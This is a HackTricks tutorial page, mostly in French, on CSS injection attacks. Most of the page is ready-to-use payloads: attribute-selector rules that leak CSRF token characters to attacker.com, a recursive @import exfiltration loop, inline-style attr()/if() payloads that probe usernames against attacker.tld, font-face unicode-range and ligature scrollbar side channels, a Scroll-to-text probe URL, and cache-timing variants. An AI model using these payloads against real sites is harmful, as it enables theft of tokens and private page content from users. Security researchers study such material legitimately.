CSS Injection

Reading time: 26 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

CSS Injection

Attribute Selector

Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs name et value d'un élément input. Si l'attribut value de l'élément input commence par un caractÚre spécifique, une ressource externe prédéfinie est chargée :

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

However, this approach faces a limitation when dealing with hidden input elements (type="hidden") because hidden elements do not load backgrounds.

Contournement pour les éléments cachés

Pour contourner cette limitation, vous pouvez cibler un élément frÚre suivant en utilisant le combinator général de sibling ~. La rÚgle CSS s'applique alors à tous les frÚres suivant l'input caché, provoquant le chargement de l'image de fond :

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir here.

Prérequis pour CSS Injection

Pour que la technique CSS Injection soit efficace, certaines conditions doivent ĂȘtre remplies :

  1. Payload Length: Le vecteur de CSS injection doit supporter des payloads suffisamment longs pour accueillir les selectors conçus.
  2. CSS Re-evaluation: Vous devez ĂȘtre capable d'encadrer la page, ce qui est nĂ©cessaire pour dĂ©clencher la réévaluation du CSS avec des payloads nouvellement gĂ©nĂ©rĂ©s.
  3. External Resources: La technique suppose la possibilitĂ© d'utiliser des images hĂ©bergĂ©es Ă  l'extĂ©rieur. Cela peut ĂȘtre restreint par la Content Security Policy (CSP) du site.

Blind Attribute Selector

As explained in this post, it's possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

En combinant cela avec la technique @import suivante, il est possible d'exfiltrer beaucoup d'informations en utilisant l'injection CSS depuis des blind pages avec blind-css-exfiltration.

@import

La technique prĂ©cĂ©dente prĂ©sente quelques inconvĂ©nients, regardez les prĂ©requis. Vous devez soit ĂȘtre capable d'envoyer plusieurs liens Ă  la victime, soit ĂȘtre capable d'iframe la page vulnĂ©rable Ă  l'injection CSS.

Cependant, il existe une autre technique ingénieuse qui utilise CSS @import pour améliorer la qualité de la technique.

Cela a été montré pour la premiÚre fois par Pepe Vila et cela fonctionne ainsi :

Au lieu de charger la mĂȘme page encore et encore avec des dizaines de payloads diffĂ©rents Ă  chaque fois (comme dans la prĂ©cĂ©dente), nous allons charger la page une seule fois et seulement avec un import vers le serveur de l'attaquant (c'est le payload Ă  envoyer Ă  la victime) :

css
@import url("//attacker.com:5001/start?");
  1. L'import va recevoir un script CSS des attaquants et le navigateur le chargera.
  2. La premiĂšre partie du script CSS que l'attaquant enverra est un autre @import vers le serveur des attaquants.
  3. Le serveur des attaquants ne rĂ©pondra pas encore Ă  cette requĂȘte, car nous voulons leak quelques caractĂšres puis rĂ©pondre Ă  cet import avec la payload pour leak les suivants.
  4. La seconde et plus grosse partie de la payload sera un payload d'exfiltration par sélecteur d'attribut
  5. Ceci enverra au serveur des attaquants le premier caractĂšre du secret et le dernier
  6. Une fois que le serveur des attaquants aura reçu le premier et le dernier caractÚre du secret, il répondra à l'import demandé à l'étape 2.
  7. La rĂ©ponse sera exactement la mĂȘme que les Ă©tapes 2, 3 et 4, mais cette fois elle tentera de trouver le deuxiĂšme caractĂšre du secret puis l'avant-dernier.

L'attaquant va suivre cette boucle jusqu'à ce qu'il réussisse à leak complÚtement le secret.

Vous pouvez trouver le code original de Pepe Vila pour exploiter ceci ici ou vous pouvez trouver presque le mĂȘme code mais commentĂ© ici.

tip

Le script va essayer de découvrir 2 caractÚres à la fois (depuis le début et depuis la fin) parce que le sélecteur d'attribut permet de faire des choses comme :

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Cela permet au script de leak le secret plus rapidement.

warning

Parfois le script ne détecte pas correctement que le préfixe + le suffixe découverts correspondent déjà au flag complet et il continuera en avant (dans le préfixe) et en arriÚre (dans le suffixe) et à un moment donné il se bloquera.
Aucun souci, vérifiez simplement la sortie car vous pouvez voir le flag là.

Exfiltration CSS en style inline (attr() + if() + image-set())

Cette primitive permet l'exfiltration en n'utilisant que l'attribut style inline d'un Ă©lĂ©ment, sans sĂ©lecteurs ni feuilles de style externes. Elle s'appuie sur les propriĂ©tĂ©s personnalisĂ©es CSS, la fonction attr() pour lire les attributs du mĂȘme Ă©lĂ©ment, les nouveaux conditionnels if() de CSS pour le branching, et image-set() pour dĂ©clencher une requĂȘte rĂ©seau qui encode la valeur correspondante.

warning

Les comparaisons d'égalité dans if() exigent des guillemets doubles pour les littéraux de chaßne. Les guillemets simples ne correspondent pas.

  • Sink: contrĂŽler l'attribut style d'un Ă©lĂ©ment et s'assurer que l'attribut ciblĂ© est sur le mĂȘme Ă©lĂ©ment (attr() lit seulement les attributs du mĂȘme Ă©lĂ©ment).
  • Read: copier l'attribut dans une variable CSS: --val: attr(title).
  • Decide: sĂ©lectionner une URL en utilisant des conditionnels imbriquĂ©s comparant la variable Ă  des chaĂźnes candidates: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: appliquer background: image-set(var(--steal)) (ou toute propriĂ©tĂ© provoquant une requĂȘte) pour forcer une requĂȘte vers l'endpoint choisi.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Payload fonctionnel (guillemets doubles requis dans la comparaison) :

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

ÉnumĂ©ration des valeurs d'attribut via des conditions imbriquĂ©es:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Démonstration réaliste (sondage des noms d'utilisateur) :

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Notes et limitations :

  • Fonctionne sur les navigateurs basĂ©s sur Chromium au moment de la recherche ; le comportement peut diffĂ©rer sur d'autres moteurs.
  • Mieux adaptĂ© aux espaces de valeurs finis/Ă©numĂ©rables (IDs, flags, short usernames). Le vol de chaĂźnes arbitrairement longues sans feuilles de style externes reste difficile.
  • Toute propriĂ©tĂ© CSS qui rĂ©cupĂšre une URL peut ĂȘtre utilisĂ©e pour dĂ©clencher la requĂȘte (par ex., background/image-set, border-image, list-style, cursor, content).

Automatisation : a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Autres sélecteurs

Autres maniÚres d'accéder à des parties du DOM avec CSS selectors :

  • .class-to-search:nth-child(2) : Cela recherchera le deuxiĂšme Ă©lĂ©ment avec la classe "class-to-search" dans le DOM.
  • :empty selector: Used for example in this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

L'intention gĂ©nĂ©rale est d'utiliser une police personnalisĂ©e provenant d'un endpoint contrĂŽlĂ© et de s'assurer que le texte (dans ce cas, 'A') est affichĂ© avec cette police uniquement si la ressource spĂ©cifiĂ©e (favicon.ico) ne peut pas ĂȘtre chargĂ©e.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Utilisation de police personnalisée:
  • Une police personnalisĂ©e est dĂ©finie en utilisant la rĂšgle @font-face dans une balise <style> situĂ©e dans la section <head>.
  • La police est nommĂ©e poc et est rĂ©cupĂ©rĂ©e depuis un endpoint externe (http://attacker.com/?leak).
  • La propriĂ©tĂ© unicode-range est dĂ©finie sur U+0041, ciblant le caractĂšre Unicode spĂ©cifique 'A'.
  1. ÉlĂ©ment <object> avec texte de secours:
  • Un Ă©lĂ©ment <object> avec id="poc0" est créé dans la section <body>. Cet Ă©lĂ©ment tente de charger une ressource depuis http://192.168.0.1/favicon.ico.
  • Le font-family de cet Ă©lĂ©ment est dĂ©fini sur 'poc', comme indiquĂ© dans la section <style>.
  • Si la ressource (favicon.ico) Ă©choue Ă  se charger, le contenu de repli (la lettre 'A') Ă  l'intĂ©rieur de la balise <object> est affichĂ©.
  • Le contenu de repli ('A') sera rendu en utilisant la police personnalisĂ©e poc si la ressource externe ne peut pas ĂȘtre chargĂ©e.

Mise en forme du fragment Scroll-to-text

La pseudo-classe :target est utilisée pour sélectionner un élément ciblé par un fragment d'URL, comme spécifié dans la CSS Selectors Level 4 specification. Il est crucial de comprendre que ::target-text ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.

Un problÚme de sécurité survient lorsque des attaquants exploitent la fonctionnalité Scroll-to-text, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une rÚgle CSS comme ceci:

css
:target::before {
content: url(target.png);
}

Dans de tels scĂ©narios, si le texte "Administrator" est prĂ©sent sur la page, la ressource target.png est demandĂ©e au serveur, indiquant la prĂ©sence du texte. Un exemple de cette attaque peut ĂȘtre exĂ©cutĂ© via une URL spĂ©cialement conçue qui intĂšgre le CSS injectĂ© ainsi qu'un fragment Scroll-to-text :

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Ici, the attack manipule HTML injection pour transmettre le code CSS, visant le texte spécifique "Administrator" via le Scroll-to-text fragment (#:~:text=Administrator). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attacker.

Pour attĂ©nuer, les points suivants doivent ĂȘtre notĂ©s :

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à leak des secrets arbitraires ou des tokens.
  2. Restriction to Top-level Browsing Contexts: STTF fonctionne uniquement dans les top-level browsing contexts et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
  3. Necessity of User Activation: STTF nécessite un user-activation gesture pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que via des navigations initiées par l'utilisateur. Cette exigence réduit considérablement le risque que des attacks soient automatisés sans interaction utilisateur. Néanmoins, l'auteur du blog signale des conditions et des bypasses spécifiques (par ex. social engineering, interaction avec des browser extensions répandues) qui pourraient faciliter l'automatisation de l'attack.

La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la web security et se protéger contre de telles tactiques exploitatives.

Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Vous pouvez vérifier un exploit using this technique for a CTF here.

@font-face / unicode-range

Vous pouvez spécifier polices externes pour des valeurs unicode spécifiques qui ne seront récupérées que si ces valeurs unicode sont présentes dans la page. Par exemple:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome et Firefox fetch "?A" et "?B" parce que le nƓud de texte de sensitive-information contient les caractùres "A" et "B". Mais Chrome et Firefox ne fetch pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w ƛwietnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

La technique dĂ©crite consiste Ă  extraire du texte d'un nƓud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comporte plusieurs Ă©tapes :

  1. Creation of Custom Fonts:
  • Des polices SVG sont conçues avec des glyphes ayant un attribut horiz-adv-x, qui dĂ©finit une grande largeur pour un glyphe reprĂ©sentant une sĂ©quence de deux caractĂšres.
  • Exemple de glyphe SVG : <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, oĂč "XY" reprĂ©sente une sĂ©quence de deux caractĂšres.
  • Ces polices sont ensuite converties en format woff en utilisant fontforge.
  1. Detection of Width Changes:
  • Le CSS est utilisĂ© pour empĂȘcher le retour Ă  la ligne (white-space: nowrap) et pour personnaliser le style de la scrollbar.
  • L'apparition d'une scrollbar horizontale, stylĂ©e de maniĂšre distincte, sert d'indicateur (oracle) qu'une ligature spĂ©cifique, et donc une sĂ©quence de caractĂšres spĂ©cifique, est prĂ©sente dans le texte.
  • Le CSS impliquĂ© :
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Étape 1 : Des polices sont créées pour des paires de caractĂšres avec une largeur consĂ©quente.
  • Étape 2 : Un tour avec la scrollbar est utilisĂ© pour dĂ©tecter quand le glyphe de grande largeur (ligature pour une paire de caractĂšres) est rendu, indiquant la prĂ©sence de la sĂ©quence de caractĂšres.
  • Étape 3 : Lors de la dĂ©tection d'une ligature, de nouveaux glyphes reprĂ©sentant des sĂ©quences de trois caractĂšres sont gĂ©nĂ©rĂ©s, incorporant la paire dĂ©tectĂ©e et ajoutant un caractĂšre prĂ©cĂ©dent ou suivant.
  • Étape 4 : La dĂ©tection de la ligature de trois caractĂšres est effectuĂ©e.
  • Étape 5 : Le processus se rĂ©pĂšte, rĂ©vĂ©lant progressivement tout le texte.
  1. Optimization:
  • La mĂ©thode d'initialisation actuelle utilisant <meta refresh=... n'est pas optimale.
  • Une approche plus efficace pourrait impliquer l'astuce CSS @import, amĂ©liorant les performances de l'exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

This trick was released in this Slackers thread. Le charset utilisĂ© dans un nƓud de texte peut ĂȘtre leaked en utilisant les polices par dĂ©faut installĂ©es dans le navigateur : aucune police externe ni personnalisĂ©e n'est nĂ©cessaire.

Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un div, permettant à un caractÚre à la fois de passer de la partie 'suffix' du texte à la partie 'prefix'. Ce processus divise efficacement le texte en deux sections :

  1. Préfixe : la ligne initiale.
  2. Suffixe : la/les ligne(s) suivante(s).

Les étapes de transition des caractÚres apparaßtraient comme suit :

C
ADB

CA
DB

CAD
B

CADB

Pendant cette transition, l'astuce unicode-range est employée pour identifier chaque nouveau caractÚre au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en basculant la police sur Comic Sans, qui est nettement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette scrollbar révÚle indirectement la présence d'un nouveau caractÚre dans le préfixe.

Bien que cette méthode permette de détecter les caractÚres uniques lorsqu'ils apparaissent, elle ne précise pas quel caractÚre est répété, seulement qu'une répétition a eu lieu.

tip

En gros, le unicode-range est utilisé pour détecter un caractÚre, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.
Quand le caractÚre est trouvé, il se voit attribuer la police préinstallée Comic Sans, qui agrandit le caractÚre et déclenche une barre de défilement qui va leak le caractÚre trouvé.

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: Ceci est mentionné comme une solution infructueuse dans ce writeup

Ce cas est trÚs similaire au précédent ; cependant, ici l'objectif de rendre certains caractÚres plus grands que d'autres est de masquer quelque chose comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. On peut donc mesurer l'action (ou l'absence d'action) et savoir si un caractÚre spécifique est présent dans le texte.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: Ceci est mentionné comme une solution infructueuse dans ce writeup

Dans ce cas, nous pourrions essayer de leak si un caractĂšre est dans le texte en chargeant une police factice depuis la mĂȘme origine :

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.

However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Référence : Ceci est mentionné comme an unsuccessful solution in this writeup

Dans ce cas, vous pouvez indiquer du CSS pour charger des centaines de fausses polices depuis la mĂȘme origine lorsqu'une correspondance se produit. De cette façon vous pouvez mesurer le temps que cela prend et dĂ©terminer si un caractĂšre apparaĂźt ou non avec quelque chose comme :

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Et le code du bot ressemble Ă  ceci :

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Donc, si la police ne correspond pas, le temps de rĂ©ponse lors de la visite du bot devrait ĂȘtre d'environ 30 secondes. En revanche, s'il y a une correspondance de police, plusieurs requĂȘtes seront envoyĂ©es pour rĂ©cupĂ©rer la police, entraĂźnant une activitĂ© rĂ©seau continue. Il faudra donc plus de temps pour satisfaire la condition d'arrĂȘt et recevoir la rĂ©ponse. Le temps de rĂ©ponse peut ainsi ĂȘtre utilisĂ© comme indicateur pour dĂ©terminer s'il y a une correspondance de police.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks